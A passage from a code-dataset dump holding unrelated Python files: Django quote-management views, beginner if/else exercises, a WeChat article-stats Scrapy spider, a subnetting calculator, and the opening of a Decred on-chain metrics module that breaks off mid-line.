print(data_collect.subDeviceBusinessData(subdevicedatadto,accesstoken[1:-1]))\r\n\r\n\r\n\r\n","sub_path":"PythonSDKDemo_V20190905/Python_SDK_Demo/com/huawei/iotplatform/client/invokeapiTest/SubDeviceBusinessData.py","file_name":"SubDeviceBusinessData.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"470421064","text":"from django.shortcuts import render,redirect\nfrom django.views import generic\nfrom django.http import HttpResponse\nfrom django.db.models import DecimalField,F,Sum,Count,Case,When\nfrom quotes.models import Quote,QuoteLine,UseCase,Multiplier\nfrom products.models import Product\nfrom contacts.models import Account,ResellerAccount\nfrom django.contrib.auth.models import User,Group\nfrom home.models import SpecFileForm\nfrom home.forms import SoftwareDemoForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nimport pandas as pd\nfrom datetime import date,timedelta\nimport calendar,tempfile,subprocess\nfrom decimal import Decimal\nfrom io import StringIO\nimport re\n\nclass SoftwareDemoView(generic.edit.FormView):\n template_name = 'home/software_demo.html'\n form_class = SoftwareDemoForm\n success_url = 'http://www.eaton.com/intelligentpower'\n\n def form_valid(self, form):\n form.email_demo_request()\n return super(SoftwareDemoView, self).form_valid(form)\n\n@method_decorator(login_required, name='dispatch')\nclass IndexView(generic.ListView):\n model = Quote\n template_name = 'home/index.html'\n context_object_name = 'quotes'\n\n def get_context_data(self,**kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n filtered = []\n today = date.today()\n date_filter = self.request.GET.get('days', '0')\n total_filter = self.request.GET.get('total', '0')\n\n genex = (x for x in context['quotes'] if x.total() >= int(total_filter))\n quote_totals = Decimal(0)\n for p in genex:\n filtered += [p]\n quote_totals += p.total()\n context['quotes'] = filtered\n context['sum'] = quote_totals\n context['date'] = today - timedelta(int(date_filter))\n return context\n\n def get_queryset(self):\n use_cases = self.request.user.profile.use_cases.all()\n date_filter = self.request.GET.get('days', '0')\n use_case_filter = self.request.GET.get('u', '')\n today = date.today()\n date_ref = today - timedelta(int(date_filter))\n if self.request.user.profile.selected_use_case.index != '66':\n queryset = Quote.objects.filter(date_quoted__gte=date_ref, date_quoted__lte=today,\n distributor__account__use_case__description__icontains=use_case_filter,\n distributor__account__use_case__in=use_cases).exclude(\n distributor__account__use_case__index='66')\n else:\n queryset = Quote.objects.filter(date_quoted__gte=date_ref, date_quoted__lte=today,\n distributor__account__use_case__description__icontains=use_case_filter,\n distributor__account__use_case__index='66')\n return queryset\n\n@method_decorator(login_required, name='dispatch')\nclass QuotesYesterdayView(generic.ListView):\n model = Quote\n template_name = 'home/index.html'\n context_object_name = 'quotes'\n\n def get_context_data(self,**kwargs):\n context = super(QuotesYesterdayView, self).get_context_data(**kwargs)\n yesterday = date.today() - timedelta(1)\n qs = self.object_list\n quote_totals = Decimal(0)\n for p in qs:\n quote_totals += p.total()\n\n context['sum'] = quote_totals\n context['date'] = yesterday\n return context\n\n def get_queryset(self):\n yesterday = date.today() - timedelta(1)\n use_cases = self.request.user.profile.use_cases.all()\n return Quote.objects.filter(date_quoted__year=yesterday.year,\n date_quoted__month=yesterday.month,\n date_quoted__day=yesterday.day,\n distributor__account__use_case__in=use_cases)\n\nclass UsersView(generic.ListView):\n model = User\n template_name = 'home/users.html'\n context_object_name = 'users'\n\nclass MetricsView(generic.ListView):\n model = User\n template_name = 'home/metrics.html'\n context_object_name = 'users'\n\n def get_context_data(self,**kwargs):\n context = super(MetricsView, self).get_context_data(**kwargs)\n month = date.today().month\n qs = self.object_list\n context['groups'] = Group.objects.all()\n if qs:\n context['sum_totals'] = qs.aggregate(Sum('totals'))\n context['total_num_quotes'] = qs.aggregate(Sum('num_quotes'))\n month_num = int(self.request.GET.get('month', month)) if self.request.GET.get('month') else date.today().month\n context['month'] = calendar.month_name[month_num]\n return context\n\n def get_queryset(self):\n current_month = str(date.today().month)\n current_year = str(date.today().year)[2:]\n month = self.request.GET.get('month', current_month) if self.request.GET.get('month') else current_month\n year = self.request.GET.get('year', current_year) if self.request.GET.get('year') else current_year\n group_filter = self.request.GET.get('group', 'AcE') if self.request.GET.get('group') else '.*'\n date_filter = '^AA' + str(month).zfill(2) + '..' + str(year)\n quotes = Quote.objects.filter(quote_number__regex=date_filter)\n if quotes:\n qdf = pd.DataFrame(list(quotes.values('quote_number')))\n qdf['number'] = qdf['quote_number'].str[2:14]\n qdf = qdf.sort_values(by='quote_number',ascending=False)\n qdf = qdf.drop_duplicates('number')\n quote_list = qdf['quote_number'].tolist()\n return User.objects.filter(groups__name__regex=group_filter).filter(quote__quote_number__in=quote_list).annotate(\n num_quotes = Count('quote',distinct=True),\n totals = Sum(F('quote__quoteline__quantity')*F('quote__quoteline__list_price')*Case(\n When(quote__quoteline__standard_discount__gt=0, then=1-(F('quote__quoteline__standard_discount')/100)),\n When(quote__quoteline__standard_discount=0, then=0.5),\n output_field=DecimalField()),\n output_field=DecimalField()),\n ).order_by('-totals')\n else:\n return User.objects.none()\n\n#####################\n# Raw Data Download #\n#####################\n@login_required\ndef data_download(request):\n p = Product.objects.all()\n p_df = pd.DataFrame(list(p.values('catalog_number','product_family')))\n d = Account.objects\n d_df = pd.DataFrame(list(d.values()))\n d_df = d_df.rename(index=str,columns={'id':'distributor_id','name':'distributor_name'})\n r = ResellerAccount.objects.all()\n r_df = pd.DataFrame(list(r.values('id','name')))\n r_df = r_df.rename(index=str,columns={'id':'reseller_id','name':'reseller_name'})\n quotes = Quote.objects.all()\n q_df = pd.DataFrame(list(quotes.values('quote_number','dealreg_number','distributor__account__name','reseller__reseller_account__name','job_name',\n 'date_quoted','date_expires','AcE__last_name','registered','upsgrade','fed','pbe')))\n q_df['number'] = q_df['quote_number'].str[2:14]\n q_df = q_df.sort_values(by='quote_number',ascending=False)\n q_df = q_df.drop_duplicates('number')\n quote_list = q_df['quote_number'].tolist()\n quotelines = QuoteLine.objects.filter(quote__quote_number__in=quote_list)\n ql_df = pd.DataFrame(list(quotelines.values('quote_id','catalog_number','quantity','list_price',\n 'recommended','standard_discount','extended_discount','subtracter')))\n ql_df = pd.merge(ql_df,q_df,left_on='quote_id',right_on='quote_number')\n ql_df = pd.merge(ql_df,p_df,how='outer',on='catalog_number')\n ql_df['line_total_all'] = ql_df.apply(lambda row: Decimal(row.quantity) * row.list_price * Decimal(0.5)\n if row.standard_discount + row.extended_discount + row.subtracter == Decimal(0) else \n Decimal(row.quantity) * ( ( Decimal(row.list_price) * ( ( ( Decimal(100) - Decimal(row.standard_discount) ) * \n ( Decimal(100) - Decimal(row.extended_discount) ) / Decimal(10000) ) ) - Decimal(row.subtracter) ) ), axis=1)\n ql_df = ql_df.drop(['number','quote_id'],axis=1)\n out = StringIO()\n ql_df.to_csv(out, index=False)\n out.seek(0)\n response = HttpResponse(out.read(), content_type=\"text/csv\")\n response['Content-Disposition'] = \"attachment; filename=quoteline_data.csv\"\n return response\n\n#####################\n# specAI #\n#####################\n\n@login_required\ndef spec_upload(request):\n if request.method == 'POST':\n form = SpecFileForm(request.POST, request.FILES)\n if form.is_valid():\n tf = tempfile.NamedTemporaryFile()\n tf.write(request.FILES['spec'].read())\n tf.seek(0)\n otf = tempfile.NamedTemporaryFile()\n o, e = subprocess.Popen([\"pdftotext\", \"-layout\", tf.name, otf.name ]).communicate()\n out = otf.read().decode('utf-8')\n word_list = ['kVA','kW','efficiency','UL924','REPO\\s','spare parts','redundan','back\\s?up','maintenance','bypass','seismic','OSHPD','input','output','backup','monitoring','software','communication','kAIC','parallel',\n 'disconnect','distribution','floor stand','surge','TAA','\\sARRA\\s','60601-1-1','startup','training','burn','certified test data','witness test','warranty','VRLA','Ni-Ca?d','1778','125','flooded',\n 'preventative','nickel cadmium','ferroresonant','pwm','pulse width modulation','pdu','rpp','wet cell','vdc','overload','altitude','btu','harmonic','watt','interactive','online','minutes','hour',\n 'runtime','dual','install','service','eaton']\n words = re.compile('(' + '|'.join(word_list) + ')', re.IGNORECASE).search\n sentances = out.splitlines(True)\n spec = [{'word':word.group(1).replace(' ','_').lower(),'sentance':sentance.replace(word.group(1),'' + word.group(1) + '')} if word\n else {'word':None,'sentance':sentance} for sentance in sentances for word in [words(sentance)]]\n return render(request, 'home/spec_output.html', {'spec': spec})\n else:\n form = SpecFileForm()\n return render(request, 'home/spec_upload.html', {'form': form})\n\n#####################\n# Select Use Case #\n#####################\n@login_required\ndef select_use_case(request,u_c):\n user = User.objects.get(pk=request.user.pk)\n use_case = UseCase.objects.get(pk=u_c)\n user.profile.selected_use_case = use_case\n user.save()\n return redirect('contacts:index')\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"28332265","text":"#Logic \n\n#Conditional statements gives us the ability to check conditions and make decisions based on the condition.\n\n#In this assignment, you'll be asked to create conditional statements using if, elif and else. \n\n# Please commit and push your code after each completed exercise.\n\n#1. Declare a variable named weather and assign it a string value of 'rain'. Next create a conditional statement that will check the weather and print 'Bring an umbrella' if weather equals 'rain'.\nweather = 'rain'\nif weather == 'rain':\n print('Bring an umbrella')\n#2 Declare a variable named score and assign it a number value of 70. Next create a conditional statement that will check the score and print 'You pass!' if the score is 70 and above and print 'Study harder!' if the score is less than 70.\nscore = 70\nif score >= 70:\n print('You pass!')\nelse:\n print('Study harder!')\n#3. Declare a variable named download_speed and assign it a data value of 50. Next create a conditional statement that will check the download speed and print the following based on the condition:\ndownload_speed = 50\n\n# <= 50: 'Basic Package'\n# <=100: 'Premium Package'\n# >100: 'Platinum Package'\nif download_speed<=50:\n print('Basic Package')\nelif download_speed<=100:\n print('Premium package')\nelse:\n print('Platinum Package')\n\n #4 Function - check_password\n #Create a function named check_password which takes a parameter password.\n\n #The function will return true if the password passed into the function is equal to 'qwerty'. Declare a variable named password_result and print your result.\ndef check_password(str):\n if str=='qwerty':\n return True\n else:\n return False\n\npassword_result=check_password('this')\nprint(password_result)\n\n#5 Function check_login\n#Create a function named check_login which takes a parameter login.\n\n#The function will print 'Login Success' if the login passed into the function is equal to 'DevLeague' and print 'Re-enter Login' if it doesn't.\ndef check_login(str):\n if str == 'DevLeague':\n print('Login Success')\n else:\n print('Re-enter Login')\n\nthis=input('Input Login: ')\ncheck_login(this)\n\n#6 Function malware_type\n#Create a function named malware_type which takes a parameter malware. \n\n#The function will print the following based on the following conditions:\n#if malware is adware: 'Low Threat'\n#if malware is virus: 'Do not share files'\n#default message 'I hope you backed up your data'\ndef malware_type(malware):\n if malware=='adware':\n print('Low Threat')\n elif malware=='virus':\n print('Do not share files')\n else:\n print('I hope you backed up your data')\n\nmalware_type('virus')\n\n\n#7 Function encryption\n#Create a function named encryption which takes a parameter keys.\n\n#The function will print 'Encryption Success' if the keys passed into function has 5 characters and print 'Encryption Fail' if it doesn't.\ndef encryption(keys):\n if len(str(keys))==5:\n print('Encryption success')\n else:\n print('Encryption fail')\n\nthis=input('Input key: ')\nencryption(this)\n\n\n#8 Function even_cryptography\n#Create a function named even_cryptography which takes a parameter num.\n\n#The function will print 'Decryption Success' if the number passed into the function is even and print 'Decryption Fail' if it isn't.\ndef even_crytopgraphy(num):\n if int(num)%2==0:\n print('Decryption succcess')\n else:\n print('Decription fail')\n\nthis=input('Input number to decrypt: ')\neven_crytopgraphy(this)\n\n\n\n#9 Function bandwidth\n#Declare a variable named mbps and assign it a list of 5 number values of your choosing. \nmbps = [100,200,300,400,500]\n#Next, create a function named bandwidth which takes a parameter usage.\n#The function will sum up the list of numbers and print the following messages based on the condition:\ndef bandwidth(sum):\n if sum<=50:\n print('Light user')\n elif sum<=100:\n print('Moderate user')\n elif sum<=150:\n print('Multi media user')\n else:\n print('Power user')\n\nthis=sum(mbps)\nbandwidth(this)\n#if sum <= 50: 'Light User'\n#if sum <= 100: 'Moderate User'\n#if sum <=150: 'Multi Media User'\n#if sum >150: 'Power User'\n\n#10 Function ssh_keys\n#Create a function named ssh_keys which takes two parameters public and private.\n\n#The function will return false if public and private aren't equal and return true if they are equal.\n\n#Declare a variable named ssh_connection and print your result.\ndef ssh_keys(public,private):\n if public==private:\n return True\n else:\n return False\nthis=input(\"Provide public key: \")\nthat = 12345\ncompare=ssh_keys(this,that)\n\n#11 Function largest_num\n#Create a function named largest_num which takes three parameters: num_1, num_2 and num_3.\n\n#The function will find the largest number among any three numbers that are passed into the function. Declare a variable named large_num_result and print your results.\ndef largest_num(num_1,num_2,num_3):\n large_num_result=max(num_1,num_2,num_3)\n print(large_num_result)\n\nlargest_num(8,6,23)\n#12 Function pos_neg\n#Create a function named pos_neg which takes a parameter num.\n\n#The function will print 'Positive Number' if the number passed in is positive, print 'Zero' if the number is 0 and print 'Negative Number' for a negative number.\ndef pos_neg(num):\n if num<0:\n print('negative number')\n elif num==0:\n print('Zero')\n else:\n print('Positive number')\n\n\n#13 Function name_caps\n#Create a function named name_caps which takes a parameter name.\n\n#The function will check the number of characters in the name that is passed into the function and do the following:\n\n#if characters in name <=5: capitalize the first letter in the name\n#if characters in name <=10: captialize all the letters in the name\n#if characters in name >10: leave the letters as is\ndef name_caps(name):\n if len(name)<=5:\n return name.title()\n elif len(name)<=10:\n return name.upper()\n else:\n return name\n\nthis=input('Input the name: ')\ncheck=name_caps(this)\nprint(check)\n#Print your results\n\n#14 Function leap_year\n\n#A leap year occurs every four years. Every year that is exactly divisible by four is a leap year, except for years that are exactly divisible by 100, but are leap years if they are exactly divisible by 400.\n\n#Create a function named leap_year which takes a parameter year.\n#The function will print 'The year x is a leap year.' where x is the year value that is passed into the function and print 'The year x is not a leap year.' if it isn't a leap year.\ndef leap_year(year):\n if year%4==0:\n if year%400==0:\n print(f\"The year {year} is a leap year.\")\n elif year%100==0:\n print(f\"The year {year} is not a leap year.\")\n else:\n print(f\"The year {year} is a leap year.\")\n else:\n print(f\"The year {year} is not a leap year.\")\n\ncheck=input(\"Input year: \")\nleap_year(int(check))","sub_path":"exercises.py","file_name":"exercises.py","file_ext":"py","file_size_in_byte":6945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"81849089","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nimport time\nimport requests\nimport re\n\nfrom RongCloudChannel.items import *\nfrom RongCloudChannel.utils import dateUtil\n\n\nclass GongzhonghaoappSpider(scrapy.Spider):\n name = 'GongZhongHaoApp'\n channel_id = '公众号'\n\n ### __biz 和 key 一一对应, 且key的有效时间较短\n __biz = 'test'\n key = 'test'\n uin = 'test'\n firstOffset = 0\n count = 10\n\n articalListUrl = \"https://mp.weixin.qq.com/mp/profile_ext?action=getmsg&__biz={}&f=json&offset={}&count={}&is_ok=1&uin={}&key={}\"\n\n #param: uin, key, __biz\n articalUrl = \"https://mp.weixin.qq.com/mp/getappmsgext?f=json&uin={}&key={}&__biz={}\"\n #param: mid, sn, idx, scene\n articalBody = \"mid={}&sn={}&idx={}&scene={}&is_only_read=1\"\n spaceMark = \"&\"\n\n articalHeaders = {\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 QBCore/4.0.1278.400 QQBrowser/9.0.2524.400 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2875.116 Safari/537.36 NetType/WIFI MicroMessenger/7.0.5 WindowsWechat',\n }\n\n\n def start_requests(self):\n yield scrapy.Request(self.articalListUrl.format(self.__biz, self.firstOffset, self.count, self.uin, self.key),\n method='GET', callback=self.parseArticalListPage,\n meta={'biz': self.__biz})\n\n\n def parseArticalListPage(self, response):\n rltJson = json.loads(response.text)\n biz = response.meta['biz']\n if 'ret' not in rltJson:\n return\n if rltJson['ret'] != 0:\n print('response error:' + response.text)\n return\n msgListJson = json.loads(rltJson['general_msg_list'])\n msgList = msgListJson['list']\n curTime = dateUtil.getCurDate()\n for msg in msgList:\n contentItem = ContentItem()\n contentItem['channel_id'] = self.channel_id\n contentItem['account_id'] = biz\n contentItem['record_class'] = 'content_info'\n contentItem['crawl_time'] = curTime\n\n url = msg['app_msg_ext_info']['content_url']\n title = msg['app_msg_ext_info']['title']\n datetime = msg['comm_msg_info']['datetime']\n id = msg['comm_msg_info']['id']\n\n contentItem['id'] = id\n contentItem['title'] = title\n contentItem['content_link'] = url\n contentItem['publish_time'] = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(int(datetime)))\n\n time.sleep(5)\n comment_id = self.getCommentId(url)\n\n curUrl = url.replace(\"http://mp.weixin.qq.com/s?\", \"\").replace(\"#wechat_redirect\", \"\")\n paramList = curUrl.split(self.spaceMark)\n mid = \"\"\n sn = \"\"\n idx = \"\"\n scene = \"\"\n for curParam in paramList:\n if curParam.startswith(\"mid=\"):\n mid = curParam[4:]\n if curParam.startswith(\"sn=\"):\n sn = curParam[3:]\n if curParam.startswith(\"idx=\"):\n idx = curParam[4:]\n if curParam.startswith(\"scene=\"):\n scene = curParam[6:]\n time.sleep(10)\n curBody = self.articalBody.format(mid, sn, idx, scene)\n if comment_id is not None:\n curBody += \"&comment_id=\" + comment_id\n yield scrapy.Request(self.articalUrl.format(self.uin, self.key, self.__biz),\n body=curBody, method='POST',\n headers=self.articalHeaders,\n callback=self.parseArticalPage,\n meta={'contentItem': contentItem})\n\n break\n '''can_msg_continue = rltJson['can_msg_continue']\n if can_msg_continue == 1:\n next_offset = rltJson['next_offset']\n time.sleep(10)\n yield scrapy.Request(self.articalListUrl.format(self.__biz, next_offset, self.count, self.uin, self.key),\n method='GET', callback=self.parseArticalListPage)'''\n\n\n def getCommentId(self, url):\n response = requests.get(url)\n if response.status_code != 200:\n return None\n commentIdRlt = re.search(r'var comment_id = \"\\d+\"', response.text)\n if commentIdRlt is not None:\n commentIdStr = commentIdRlt.group(0)\n commentId = commentIdStr.replace('var comment_id = \"', '').replace('\"', '')\n return commentId\n return None\n\n\n def parseArticalPage(self, response):\n if response.status != 200:\n print('get url error: ' + response.url)\n return\n rltJson = json.loads(response.text)\n contentItem = response.meta['contentItem']\n if 'appmsgstat' in rltJson:\n appmsgstat = rltJson['appmsgstat']\n if 'read_num' in appmsgstat:\n contentItem['read_count'] = appmsgstat['read_num']\n if 'like_num' in appmsgstat:\n contentItem['like_count'] = appmsgstat['like_num']\n if 'comment_count' in rltJson:\n contentItem['comment_count'] = rltJson['comment_count']\n\n print(contentItem)\n #yield contentItem","sub_path":"TianShuMedia/RongCloudChannel/RongCloudChannel/spiders/GongZhongHaoApp.py","file_name":"GongZhongHaoApp.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"102922306","text":"from sys import stdin\nimport math as m\n\nclass SubNetting():\n subRedes = []\n idRedes = []\n broadcastRedes = []\n mascaraRedes = []\n gatewayRedes = []\n def __init__(self,subRedes):\n for i in range(len(subRedes)):\n self.subRedes.append(subRedes[i])\n self.generarIdRedes()\n self.generarBroadcastRedes()\n self.generarMascaraRedes()\n self.generarGatewayRedes()\n self.getIdRedes()\n self.getBroadcastRedes()\n self.getMascaraRedes()\n self.getGatewayRedes()\n def generarIdRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n sR.idRed = self.sumar1(sR.idRed,sR.getBitRed(),1)\n while self.idRedRepetida(sR.idRed,i):\n sR.idRed = self.sumar1(sR.idRed,sR.getBitRed(),1)\n def generarGatewayRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for i in range(len(sR.idRed)):\n sR.gateway.append(sR.idRed[i])\n sR.gateway = self.sumar1(sR.gateway,31,1)\n \n def getIdRedes(self):\n for i in range(len(self.subRedes)):\n self.idRedes.append(self.subRedes[i].getIdRed())\n return self.idRedes\n def generarBroadcastRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for j in range(len(sR.idRed)):\n if sR.ispHostRed[j] == 'H':\n sR.broadcast.append(1) \n else:\n sR.broadcast.append(sR.idRed[j])\n def getBroadcastRedes(self):\n for i in range(len(self.subRedes)):\n self.broadcastRedes.append(self.subRedes[i].getBroadcastRed())\n return self.broadcastRedes\n def generarMascaraRedes(self):\n for i in range(len(self.subRedes)):\n sR = self.subRedes[i]\n for j in range(0,sR.bitsMascara):\n sR.mascara.append(1)\n for k in range(sR.bitsMascara,32):\n sR.mascara.append(0)\n def getMascaraRedes(self):\n for i in range(len(self.subRedes)):\n self.mascaraRedes.append(self.subRedes[i].getMascaraRed())\n return self.mascaraRedes\n def getGatewayRedes(self):\n for i in range(len(self.subRedes)):\n self.gatewayRedes.append(self.subRedes[i].getGatewayRed())\n return self.gatewayRedes\n def idRedRepetida(self,idRed,index):\n for i in range(len(self.subRedes)):\n if i!=index:\n if self.subRedes[i].idRed == idRed:\n return True\n return False\n \n def sumar1(self,lista,index,carry):\n if carry==0:\n return lista\n if lista[index] == 0:\n lista[index] = 1\n carry=0\n elif lista[index] == 1:\n lista[index] = 0\n self.sumar1(lista,index-1,1)\n return lista\n\n def __str__(self):\n string = \"\"\n for i in range(len(self.subRedes)):\n string += \"Red: \" + str(i+1) + '\\n'\n string += \"Id red: \" + self.idRedes[i] + '\\n'\n string += \"Brodcast red: \" + self.broadcastRedes[i] + '\\n'\n string += \"Mascara: \" + self.mascaraRedes[i] + ' /'+str(self.subRedes[i].bitsMascara) + '\\n'\n string += \"Gateway: \" + self.gatewayRedes[i] + '\\n'\n string += \"Numero host: \" + str(self.subRedes[i].numeroHost) + '\\n'\n string += '\\n'\n return string\n \nclass SubRed():\n \n B=[]\n mascaraIsp = 0;\n numeroHostD = 0;\n ispHostRed = []\n idRed = []\n brodcast = []\n mascara = []\n bitsMascara = 0;\n gateway =[]\n numeroHost = 0;\n def __init__(self,bits,mascaraIsp,numeroHostD):\n self.idRed = []\n self.broadcast = []\n self.mascara = []\n self.gateway = []\n self.B=[0 for i in range(32)]\n self.ispHostRed = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"] \n self.mascaraIsp = mascaraIsp\n self.numeroHostD = numeroHostD\n \n for i in range(len(bits)):\n self.pasarABinario(bits[i],i+1)\n self.dividirIspRH(self.mascaraIsp,self.numeroHostD)\n self.generarIdRed(self.idRed,self.B,self.ispHostRed)\n def pasarABinario(self,decimal,numeroByte):\n ultimo = 7\n for i in range((numeroByte-1)*8,8*numeroByte):\n if decimal-2**ultimo>=0:\n self.B[i] = 1\n decimal -= 2**ultimo\n else:\n self.B[i] = 0\n ultimo -=1\n def generarIdRed(self,idRed,B,ispHostRed):\n for i in range(0,32):\n if ispHostRed[i] == 'ISP' or ispHostRed[i] == 'R':\n idRed.append(B[i])\n else:\n idRed.append(0)\n def dividirIspRH(self,mascara,numerohost):\n numeroBitsH = m.ceil(m.log(numerohost,2))\n if numeroBitsH == 1:\n numeroBitsH += 1\n self.bitsMascara = 32 - numeroBitsH\n self.numeroHost = 2**numeroBitsH -2\n for i in range(0,mascara):\n self.ispHostRed[i] = 'ISP'\n for j in range(mascara,mascara+(32-numeroBitsH-mascara)):\n self.ispHostRed[j] = 'R'\n for k in range(mascara+(32-numeroBitsH-mascara),32):\n self.ispHostRed[k] = 'H'\n\n def getBitRed(self):\n return self.ispHostRed.index('H')-1\n def getIdRed(self):\n return self.getDecimal(self.idRed)\n def getBroadcastRed(self):\n return self.getDecimal(self.broadcast)\n def getMascaraRed(self):\n return self.getDecimal(self.mascara)\n def getGatewayRed(self):\n return self.getDecimal(self.gateway)\n def getDecimal(self,numeroBinario):\n aux=''\n acum=0\n conta=0\n potencia = 7\n for j in range(32):\n acum += (2**potencia)*numeroBinario[j]\n potencia -=1\n conta +=1\n if conta == 8:\n aux += str(acum)\n if j != 31:\n aux += '.'\n acum =0\n conta=0\n potencia =7\n return aux\n\n\n\nsn = SubNetting([SubRed([112,158,0,0],20,200),\n SubRed([112,158,0,0],20,80),\n ])\n\nprint (sn)\n\n\n \n \n","sub_path":"subnetting.py","file_name":"subnetting.py","file_ext":"py","file_size_in_byte":6345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"267201264","text":"# Calculate a Suite of Decred Specific Metrics\n#Data Science\nimport pandas as pd\nimport numpy as np\nimport math\nimport datetime as date\ntoday = date.datetime.now().strftime('%Y-%m-%d')\n\nfrom checkonchain.general.coinmetrics_api import * #Coinmetrics.io\nfrom checkonchain.general.regression_analysis import *\nfrom checkonchain.dcronchain.dcr_schedule import * #DCR Schedule\nfrom checkonchain.dcronchain.dcr_dcrdata_api import * #DCRdata.org\nfrom checkonchain.general.general_helpers import *\nfrom checkonchain.btconchain.btc_add_metrics import *\n\nimport os\n\nclass dcr_add_metrics():\n \"\"\"\n Functions for building Pandas DataFrames of Decred specific metrics\n Aggregates data from supported APIs and calculates Decred specific metrics\n - Coinmetrics Community\n - dcrdata\n\n Functions Available\n dcr_coin = coinmetrics community with supplemented price data from early data sources\n dcr_sply = theoretical supply curve with added S2F model\n dcr_sply_curtailed = dcr_sply curtailed to 0.667 days to reduce df size (reduce load on charts)\n dcr_diff = dcrdata difficulty for PoS and PoW. Data setup in 144 block windows \n ['blk','window','time','tic_cnt_window','tic_price','tic_miss','pow_diff']\n dcr_perf = dcrdata blockchain performance \n ['blk','time','dcr_sply','dcr_tic_sply','tic_part','tic_pool','tic_blk',\n 'pow_hashrate_THs','pow_work_EH']\n dcr_natv = dcrdata blockchain combination of dcr_perf and dcr_diff (by block) \n ['blk', 'window','tic_cnt_window', 'tic_price', 'tic_blk', 'tic_pool',\n 'dcr_tic_sply', 'dcr_sply','pow_diff','pow_hashrate_THs', 'pow_work_TH']\n dcr_real = Compiles Coinmetrics (dcr_coin) and dcrdata (dcr_natv) for general data analytics\n dcr_subsidy_models = Follows dcr_real, adds income for PoW, PoS, Fund and Total priced in dcr, btc and usd\n dcr_ticket_models = Follows dcr_subsidy_models, ticket based transaction models\n \"\"\"\n \n def __init__(self):\n self.topcapconst = 12 #Top Cap = topcapconst * Avg Cap\n self.blkrew_ratio = [0.6,0.3,0.1] #PoW,PoS,Fund Block Reward Fraction\n self.sply_curtail = 6144 / 4 #reduce dataset = 5.33days\n self.dust_limit = 100 #set Decred dust limit in bytes\n self.dirname = os.path.dirname(__file__)\n\n def dcr_coin(self): \n \"\"\"\n Pulls Coinmetrics v2 API Community\n - adds coin age metric (days)\n - adds coin age metric (supply) = Supply / 21M\n - adds Bittrex early price data not included in coinmetrics from csv\n\n OUTPUT DATAFRAME COLUMNS:\n 'date', 'blk','age_days','age_sply','btc_blk_est',\n 'BlkSizeByte', BlkSizeMeanByte',\n 'DailyIssuedNtv', 'DailyIssuedUSD', 'inf_pct_ann', 'S2F',\n 'AdrActCnt', 'BlkCnt', 'BlkSizeByte', 'BlkSizeMeanByte',\n 'CapMVRVCur', 'CapMrktCurUSD', 'CapRealUSD','CapRealBTC', 'DiffMean', 'CapMVRVCur',\n 'FeeMeanNtv','FeeMeanUSD', 'FeeMedNtv', 'FeeMedUSD', 'FeeTotNtv', 'FeeTotUSD',\n 'PriceBTC', 'PriceUSD', 'PriceRealUSD','PriceRealBTC', 'BTC_PriceUSD', 'SplyCur',\n 'TxRealDCR','TxCnt', 'TxTfrCnt', 'TxTfrValAdjNtv', 'TxTfrValAdjUSD',\n 'TxTfrValMeanNtv', 'TxTfrValMeanUSD', 'TxTfrValMedNtv',\n 'TxTfrValMedUSD', 'TxTfrValNtv', 'TxTfrValUSD',\n 'notes'\n \"\"\" \n df = Coinmetrics_api('dcr',\"2016-02-08\",today).convert_to_pd()\n #Calculate coin age since launch in days\n df['age_days'] = (df[['date']] - df.loc[0,['date']])/np.timedelta64(1,'D')\n #Calculate coin age since launch in terms of supply\n df['age_sply'] = df['SplyCur'] / 21e6\n print('...adding PriceUSD and CapMrktCurUSD for $0.49 (founders, 8/9-Feb-2016)')\n print('and Bittrex (10-02-2016 to 16-05-2016)...')\n #Import Early price data --> \n # founders $0.49 for 8/9 Feb 2016 \n # Bitrex up to 16-May-2016 (saved in relative link csv)\n filename = self.dirname + '/resources/data/dcr_pricedata_2016-02-08_2016-05-16.csv'\n df_early = pd.read_csv(filename)\n df_early['date'] = pd.to_datetime(df_early['date'],utc=True) #Convert to correct datetime format\n df['notes'] = str('') # add notes for storing data\n for i in df_early['date']: #swap in early price data\n #Add Early PriceUSD Data\n df.loc[df.date==i,'PriceUSD'] = float(\n df_early.loc[df_early.date==i,'PriceUSD']\n )\n #Add Early PriceBTC Data\n df.loc[df.date==i,'PriceBTC'] = float(\n df_early.loc[df_early.date==i,'PriceBTC']\n )\n #Add Early MarketCap Data\n df.loc[df.date==i,'CapMrktCurUSD'] = (\n df.loc[df.date==i,'PriceUSD'] * \n df.loc[df.date==i,'SplyCur']\n )\n #Add Notes\n df.loc[df.date==i,'notes'] = df_early.loc[df_early.date==i,'notes']\n #Populate Columns which early prices feed into\n df = general_helpers.early_price_metric(df,'DailyIssuedUSD','DailyIssuedNtv')\n df = general_helpers.early_price_metric(df,'FeeTotUSD','FeeTotNtv')\n df = general_helpers.early_price_metric(df,'FeeMeanUSD','FeeMeanNtv')\n df = general_helpers.early_price_metric(df,'FeeMedUSD','FeeMedNtv')\n df = 